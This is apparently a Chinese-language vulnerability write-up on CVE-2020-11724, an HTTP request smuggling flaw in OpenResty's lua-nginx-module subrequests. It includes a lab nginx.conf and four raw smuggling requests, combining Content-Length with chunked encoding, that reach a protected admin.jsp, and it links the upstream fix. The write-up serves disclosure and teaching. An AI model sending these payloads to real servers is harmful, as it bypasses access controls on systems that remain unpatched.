OpenResty请求走私漏洞(CVE-2020-11724)

  1. 漏洞简介
    1. 漏洞原因
  2. C代码流程
  3. 漏洞演示
    1. test1
    2. test2
    3. test3
    4. test4
  4. 参考资料:
  5. 修复补丁

Author: UltramanGaia

漏洞简介

研究发现,openresty/lua-nginx-modulengx.location.capture指令和ngx.location.capture_multi代码实现存在缺陷,在大多数情况下不能正确修改Content-Length的值,会带来HTTP请求走私漏洞风险。

漏洞原因

openresty/lua-nginx-module提供了ngx.location.capturengx.location.capture_multi指令用于发送子请求。当下,一种常见的用法如下,nginx+lua进行逻辑判断、认证授权,然后使用ngx.location.capture结合proxy_pass转发到后端服务。一般nginx与后端服务之间会采用复用TCP链接的方式来提高性能。

这里涉及到对于HTTP协议的实现差异问题,我们知道,协议规定,当http请求同时包含Content-LengthTransfer-Encoding:chunked时,应该忽略Content-Length

通过分析源码,可以知道在大多数情况下,攻击者可以构造请求包,使lua-nginx-module发出的子请求的Content-Length值错误,从而导致HTTP请求走私漏洞。

C代码流程

ngx_http_lua_contentby.c:ngx_http_lua_content_handler
    ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture
        ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture_multi
            ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest

ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest函数中有个重要功能为修正Content-Length,它是通过调用ngx_http_lua_set_content_length_header函数实现的。

image-20200316013246809

代码如上面截图,第一种请求会根据body重新计算Content-Length,第二种情况会设置Conent-Length0,而第三种情况则不会修改Content-Length,这里存在问题。

漏洞演示

openresty 1.15.8.2 + tomcat

nginx.conf配置如下

http {
    include       mime.types;
    default_type  application/octet-stream;

    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log  logs/access.log  main;

    sendfile        on;

    keepalive_timeout  65;

    upstream backend{
        server 192.168.83.1:8080;
        keepalive 32;
    }

    server {
        listen       8081;
        server_name  localhost;


        location / {
            root   html;
            index  index.html index.htm;
        }

        location /test1 {
            content_by_lua_block {
                res = ngx.location.capture('/backend')
                ngx.print(res.body)
            }
        }

        location /test2 {
            content_by_lua_block {
                ngx.req.read_body();
                res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
                ngx.print(res.body)
            }
        }

        location /test3 {
            content_by_lua_block {
                ngx.req.read_body();
                res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
                ngx.print(res.body)
            }
        }

        location /test4 {
            content_by_lua_block {
                ngx.req.read_body();
                local data = ngx.req.get_body_data()
                res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
                ngx.print(res.body)
            }
        }

        location /backend {
            proxy_http_version 1.1;
            proxy_set_header Connection "";
            proxy_pass http://backend/user.jsp;
        }
    }
}

tomcat作为后端服务器,部署两个页面user.jspadmin.jsp

user.jsp

<%
out.println("Your are normal user, method=" + request.getMethod());
%>

admin.jsp

<%
out.println("Your are Admin, method=" + request.getMethod());
%>

设计上,通过Openresty将user.jsp暴露给外部,而防止外部访问admin.jsp。

利用请求走私漏洞,我们可以绕过该限制。

test1

location /test1 {
    content_by_lua_block {
        res = ngx.location.capture('/backend')
        ngx.print(res.body)
    }
}

这种请求方式,会到达第三种请求,导致Content-Length未被正确设置,可以构造如下请求包进行攻击

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0


image-20200316065828729

image-20200316070244601

这是与后端进行交互的请求包

image-20200316070339472

test2

location /test2 {
    content_by_lua_block {
        ngx.req.read_body();
        res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
        ngx.print(res.body)
    }
}

POST子请求,如果未指定body,且always_forward_body为false(默认),我们可以构造如下请求包,到达第三种情况

GET /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked

0

POST /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

image-20200316075035511

image-20200316075059345

这是与后端进行交互的请求包

image-20200316075121600

test3

location /test3 {
    content_by_lua_block {
        ngx.req.read_body();
        res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
        ngx.print(res.body)
    }
}

test3未显式设置body,使用always_forward_body,可以发送如下报文进行攻击

GET /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked

0

POST /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

image-20200316071849057

image-20200316071903718

后端请求报文

image-20200316071932781

test4

location /test4 {
    content_by_lua_block {
        ngx.req.read_body();
        local data = ngx.req.get_body_data()
        res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
        ngx.print(res.body)
    }
}

test4尝试通过ngx.req.get_body_data()获取数据,然后显示赋值给body,我们可以利用Transfer-Encoding: chunked,设置长度为0,导致ngx.req.get_body_data()返回值为nil,从而发起攻击,报文如下

GET /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked

0

POST /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

image-20200320220157652
image-20200316073534414

后端请求报文

image-20200316073615212

参考资料:

请求走私漏洞还有多种利用方式,详情请参考如下链接

https://portswigger.net/web-security/request-smuggling/exploiting

修复补丁

https://github.com/openresty/openresty/blob/4e8b4c395f842a078e429c80dd063b2323999957/patches/ngx_http_lua-0.10.15-fix_location_capture_content_length_chunked.patch


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com